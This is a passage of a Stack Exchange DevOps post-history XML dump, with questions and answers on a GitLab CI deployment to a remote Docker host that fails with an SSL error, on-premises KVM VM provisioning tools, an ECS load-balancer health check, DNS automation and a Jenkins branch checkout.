~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;I'm farily new to devops, so:&#xD;&#xA;---&#xD;&#xA;1. what options do I have?&#xD;&#xA;2. is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. could I solve the problem by using my own runner?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind" ContentLicense="CC BY-SA 4.0" />
  <row Id="16260" PostHistoryTypeId="5" PostId="5146" RevisionGUID="55056b19-9b61-4024-abce-a548c8ca197c" CreationDate="2018-10-09T09:42:50.570" UserId="10241" Comment="added 54 characters in body" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. The docker host was created using docker-machine. &#xD;&#xA;&#xD;&#xA;I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;secrutity@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; ~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;I'm farily new to devops, so:&#xD;&#xA;---&#xD;&#xA;1. what options do I have?&#xD;&#xA;2. is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. could I solve the problem by using my own runner?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind" ContentLicense="CC BY-SA 4.0" />
  <row Id="16261" PostHistoryTypeId="2" PostId="5147" RevisionGUID="8c1afd56-cdcf-473f-8fc9-e5fa645e4627" CreationDate="2018-10-09T17:56:41.550" UserId="10255" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). And to manage multiple hypervisors we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16262" PostHistoryTypeId="1" PostId="5147" RevisionGUID="8c1afd56-cdcf-473f-8fc9-e5fa645e4627" CreationDate="2018-10-09T17:56:41.550" UserId="10255" Text="Open source private cloud VM provisioning" ContentLicense="CC BY-SA 4.0" />
  <row Id="16263" PostHistoryTypeId="3" PostId="5147" RevisionGUID="8c1afd56-cdcf-473f-8fc9-e5fa645e4627" CreationDate="2018-10-09T17:56:41.550" UserId="10255" Text="&lt;infrastructure-as-code&gt;&lt;virtualization&gt;&lt;provisioning&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16264" PostHistoryTypeId="2" PostId="5148" RevisionGUID="f5b186f2-ca86-45e9-8e92-81be8a74b03a" CreationDate="2018-10-09T18:12:30.347" UserId="10255" Text="Here's what I've tried:&#xD;&#xA;&#xD;&#xA;## Terraform + libvirt&#xD;&#xA;&#xD;&#xA;There's unofficial libvirt provider for terraform. It works, but there are a few gotchas:&#xD;&#xA;&#xD;&#xA;- Doesn't support block devices:&#xD;&#xA;https://github.com/dmacvicar/terraform-provider-libvirt/issues/418&#xD;&#xA;&#xD;&#xA;- Existing state not being removed:&#xD;&#xA;https://github.com/dmacvicar/terraform-provider-libvirt/issues/423&#xD;&#xA;&#xD;&#xA;## Docker machine&#xD;&#xA;&#xD;&#xA;- Works quite well&#xD;&#xA;- Isn't supported anymore&#xD;&#xA;- kvm plugin lacks remote qemu+ssh:&#xD;&#xA;https://github.com/dhiltgen/docker-machine-kvm/pull/63&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16265" PostHistoryTypeId="5" PostId="5147" RevisionGUID="431b5da9-9a73-4727-a875-3ab320778503" CreationDate="2018-10-09T18:16:49.283" UserId="10255" Comment="added 225 characters in body; edited title" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). And to manage multiple hypervisors we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;On top of those VMs I want to run containers, so automatic setup of container orchestration cluster is desired. In addition, some way of attaching storage is desired. At least directly attached block devices or fs mounts.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16266" PostHistoryTypeId="4" PostId="5147" RevisionGUID="431b5da9-9a73-4727-a875-3ab320778503" CreationDate="2018-10-09T18:16:49.283" UserId="10255" Comment="added 225 characters in body; edited title" Text="Open source private cloud VM provisioning for container workload" ContentLicense="CC BY-SA 4.0" />
  <row Id="16267" PostHistoryTypeId="5" PostId="5148" RevisionGUID="c74b199e-d4fd-4698-b160-740ed0b47362" CreationDate="2018-10-09T18:19:05.750" UserId="10255" Comment="added 45 characters in body" Text="Here's what I've tried:&#xD;&#xA;&#xD;&#xA;## Terraform + libvirt&#xD;&#xA;&#xD;&#xA;There's unofficial libvirt provider for terraform. It works, but there are a few gotchas:&#xD;&#xA;&#xD;&#xA;- Doesn't support block devices:&#xD;&#xA;https://github.com/dmacvicar/terraform-provider-libvirt/issues/418&#xD;&#xA;&#xD;&#xA;- Existing state not being removed:&#xD;&#xA;https://github.com/dmacvicar/terraform-provider-libvirt/issues/423&#xD;&#xA;&#xD;&#xA;## Docker machine&#xD;&#xA;&#xD;&#xA;Docker machine has unofficial kvm driver.&#xD;&#xA;&#xD;&#xA;- Works quite well&#xD;&#xA;- Isn't supported anymore&#xD;&#xA;- kvm plugin lacks remote qemu+ssh:&#xD;&#xA;https://github.com/dhiltgen/docker-machine-kvm/pull/63&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16268" PostHistoryTypeId="2" PostId="5149" RevisionGUID="ea049fb1-6f30-4456-a1ee-a66d0a669949" CreationDate="2018-10-09T19:55:50.077" UserId="10258" Text="The health check on our ECS cluster is failing on a service that is using an ELB Network Load Balancer on TCP port (gRPC running in docker alpine). The service is using dynamic port mapping for containers.&#xD;&#xA;&#xD;&#xA;I tried to telnet on the TCP port from a bastion machine but it also didn't work. The same setup has worked with using ALB on HTTP port with dynamic port mapping after also adding the ALB security group to be allowed to send traffic to nodes in the VPC&#xD;&#xA;&#xD;&#xA;Any idea what might be wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16269" PostHistoryTypeId="1" PostId="5149" RevisionGUID="ea049fb1-6f30-4456-a1ee-a66d0a669949" CreationDate="2018-10-09T19:55:50.077" UserId="10258" Text="ECS ELB Health Check Fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="16270" PostHistoryTypeId="3" PostId="5149" RevisionGUID="ea049fb1-6f30-4456-a1ee-a66d0a669949" CreationDate="2018-10-09T19:55:50.077" UserId="10258" Text="&lt;containers&gt;&lt;amazon-ecs&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16271" PostHistoryTypeId="5" PostId="5149" RevisionGUID="2aadc548-e77e-47fa-bd1f-84986cb87684" CreationDate="2018-10-09T20:04:08.557" UserId="10258" Comment="added 91 characters in body" Text="The health check on our ECS cluster is failing on a service that is using an ELB Network Load Balancer on TCP port (gRPC running in docker alpine). The service is using dynamic port mapping for containers.&#xD;&#xA;&#xD;&#xA;I tried to telnet on the TCP port from a bastion machine but it also didn't work. The same setup has worked with using ALB on HTTP port with dynamic port mapping after also adding the ALB security group to be allowed to send traffic to nodes in the VPC&#xD;&#xA;&#xD;&#xA;The nodes running in the private subnets of the VPC and the balancer is an internal ELB&#xD;&#xA;&#xD;&#xA;Any idea what might be wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16272" PostHistoryTypeId="50" PostId="4736" RevisionGUID="d9dedc33-d561-49e8-b619-01ecb0516fe9" CreationDate="2018-10-09T21:00:01.203" UserId="-1" />
  <row Id="16273" PostHistoryTypeId="5" PostId="5147" RevisionGUID="f9c82288-a768-4954-af0c-6cc007a7ec12" CreationDate="2018-10-09T21:08:03.083" UserId="10255" Comment="added 169 characters in body" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). To manage multiple hypervisors we need to connect to the libvirt daemon remotely using [connection URI](https://libvirt.org/guide/html/Application_Development_Guide-Connections-URI_Formats.html). For KVM we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;On top of those VMs I want to run containers, so automatic setup of container orchestration cluster is desired. In addition, some way of attaching storage is desired. At least directly attached block devices or fs mounts.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16274" PostHistoryTypeId="5" PostId="5147" RevisionGUID="d92de3af-1b5a-4459-9a1d-a3d78af2fdad" CreationDate="2018-10-09T21:42:52.407" UserId="10255" Comment="added 102 characters in body" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). To manage multiple hypervisors we need to connect to the libvirt daemon remotely using [connection URI](https://libvirt.org/guide/html/Application_Development_Guide-Connections-URI_Formats.html). For KVM we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;[![IaaS on premises using libvirt qemu kvm][1]][1]&#xD;&#xA;&#xD;&#xA;On top of those VMs I want to run containers, so automatic setup of container orchestration cluster is desired. In addition, some way of attaching storage is desired. At least directly attached block devices or fs mounts.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KL1uW.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="16275" PostHistoryTypeId="50" PostId="3602" RevisionGUID="d013e60a-411f-4a60-8ae6-79c62e95f19e" CreationDate="2018-10-09T22:00:07.683" UserId="-1" />
  <row Id="16276" PostHistoryTypeId="50" PostId="3542" RevisionGUID="159ebe38-a376-4463-89fc-81d2c34001c9" CreationDate="2018-10-09T23:00:05.447" UserId="-1" />
  <row Id="16279" PostHistoryTypeId="5" PostId="4718" RevisionGUID="60d1209c-53e8-44a3-b1c6-201a982bedd5" CreationDate="2018-10-10T01:51:30.247" UserId="192" Comment="deleted 1 character in body" Text="I manually update the DNS settings at the registrar for my domains, such as&#xD;&#xA;&#xD;&#xA;    https://domains.google.com/registrar&#xD;&#xA;&#xD;&#xA;What are people using to automate updates to DNS settings? which registrars have an API ?&#xD;&#xA;&#xD;&#xA;Specifically I need to manually update : &#xD;&#xA;&#xD;&#xA;- TXT field for the DKIM setting&#xD;&#xA;&#xD;&#xA;- TXT field for spf  &#xD;&#xA;&#xD;&#xA;    @                  TXT          1m       &quot;v=spf1 ip4:100.22.22.100 include:blah.com -all&quot;&#xD;&#xA;&#xD;&#xA;- A record everytime I change external IP&#xD;&#xA;&#xD;&#xA;To run my own DNS host servers seems like overkill. Ideally I would just make some secure REST call to perform programmatic updates." ContentLicense="CC BY-SA 4.0" />
  <row Id="16280" PostHistoryTypeId="5" PostId="5145" RevisionGUID="26800f52-8af9-4a24-a901-30eee4c88779" CreationDate="2018-10-10T03:01:22.497" UserId="739" Comment="formatting code" Text="There's a `resolveScm` plugin: &#xD;&#xA;&#xD;&#xA;    checkout resolveScm(source: [$class: 'GitSCMSource',&#xD;&#xA;                                 credentialsId: '&lt;credentialsId&gt;',&#xD;&#xA;                                 id: '_',&#xD;&#xA;                                 remote: 'https://your.git.remote/repository.git',&#xD;&#xA;                                 traits: [[$class: 'jenkins.plugins.git.traits.BranchDiscoveryTrait']]],&#xD;&#xA;                        targets: [BRANCH_NAME, 'master'])&#xD;&#xA;&#xD;&#xA;Above procedure will look whether `$BRANCH_NAME` exists, check it out if yes and check out `master` otherwise." ContentLicense="CC BY-SA 4.0" />
  <row Id="16281" PostHistoryTypeId="24" PostId="5145" RevisionGUID="26800f52-8af9-4a24-a901-30eee4c88779" CreationDate="2018-10-10T03:01:22.497" Comment="Proposed by 739 approved by 40, 46 edit id of 805" ContentLicense="CC BY-SA 4.0" />
  <row Id="16289" PostHistoryTypeId="2" PostId="5152" RevisionGUID="3fbef0fe-508b-4033-9220-5fd2bac71aee" CreationDate="2018-10-10T07:27:37.837" UserId="10201" Text="I've been working in the field of DevOps for some time now and have learned about some tools like Jenkins, Docker, Kubernetes, Puppet, Artifactory, etc.. Although I know where each of these tools could be used and what purpose each of these solves, I really wanted to see how a fully implemented CI/CD looks like.&#xD;&#xA;&#xD;&#xA;I understand that the solution would definitely change with the change in the requirements, technology stack, team size, etc. and that there is no God solution for everything but, I haven't seen a fully implemented DevOps lifecycle ever.&#xD;&#xA;&#xD;&#xA;I'm not sure if asking for resources is prohibited here (Feel free to close the question if it is) but could you please redirect me to some article, blog, white paper or suggest me a book where I could learn and get a feel of what fully implemented CI/CD looks like." ContentLicense="CC BY-SA 4.0" />
  <row Id="16290" PostHistoryTypeId="1" PostId="5152" RevisionGUID="3fbef0fe-508b-4033-9220-5fd2bac71aee" CreationDate="2018-10-10T07:27:37.837" UserId="10201" Text="Fully enabled End to End CI/CD Solution" ContentLicense="CC BY-SA 4.0" />
  <row Id="16291" PostHistoryTypeId="3" PostId="5152" RevisionGUID="3fbef0fe-508b-4033-9220-5fd2bac71aee" CreationDate="2018-10-10T07:27:37.837" UserId="10201" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16292" PostHistoryTypeId="50" PostId="3856" RevisionGUID="3f3aeb88-1d76-4351-a3f3-7775ebcaa837" CreationDate="2018-10-10T08:00:04.050" UserId="-1" />
  <row Id="16293" PostHistoryTypeId="50" PostId="4499" RevisionGUID="fd3aa5b7-aa16-441e-9297-4a4784186f52" CreationDate="2018-10-10T09:00:29.430" UserId="-1" />
  <row Id="16294" PostHistoryTypeId="5" PostId="5149" RevisionGUID="0838fb30-0a86-4c85-9974-d2ae6fdd6fa9" CreationDate="2018-10-10T11:19:59.567" UserId="10258" Comment="deleted 8 characters in body" Text="The health check on our ECS cluster is failing on a service that is using an ELB Network Load Balancer on TCP port (gRPC running in docker alpine). The service is using dynamic port mapping for containers.&#xD;&#xA;&#xD;&#xA;I tried to telnet on the TCP port from a bastion machine and it did work. The same setup has worked with using ALB on HTTP port with dynamic port mapping after also adding the ALB security group to be allowed to send traffic to nodes in the VPC&#xD;&#xA;&#xD;&#xA;The nodes running in the private subnets of the VPC and the balancer is an internal ELB&#xD;&#xA;&#xD;&#xA;Any idea what might be wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16295" PostHistoryTypeId="5" PostId="5146" RevisionGUID="000a19b4-420a-483c-aa55-53a5c4056bb4" CreationDate="2018-10-10T15:27:02.137" UserId="10241" Comment="Fix typo" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. The docker host was created using docker-machine. &#xD;&#xA;&#xD;&#xA;I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;security@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - 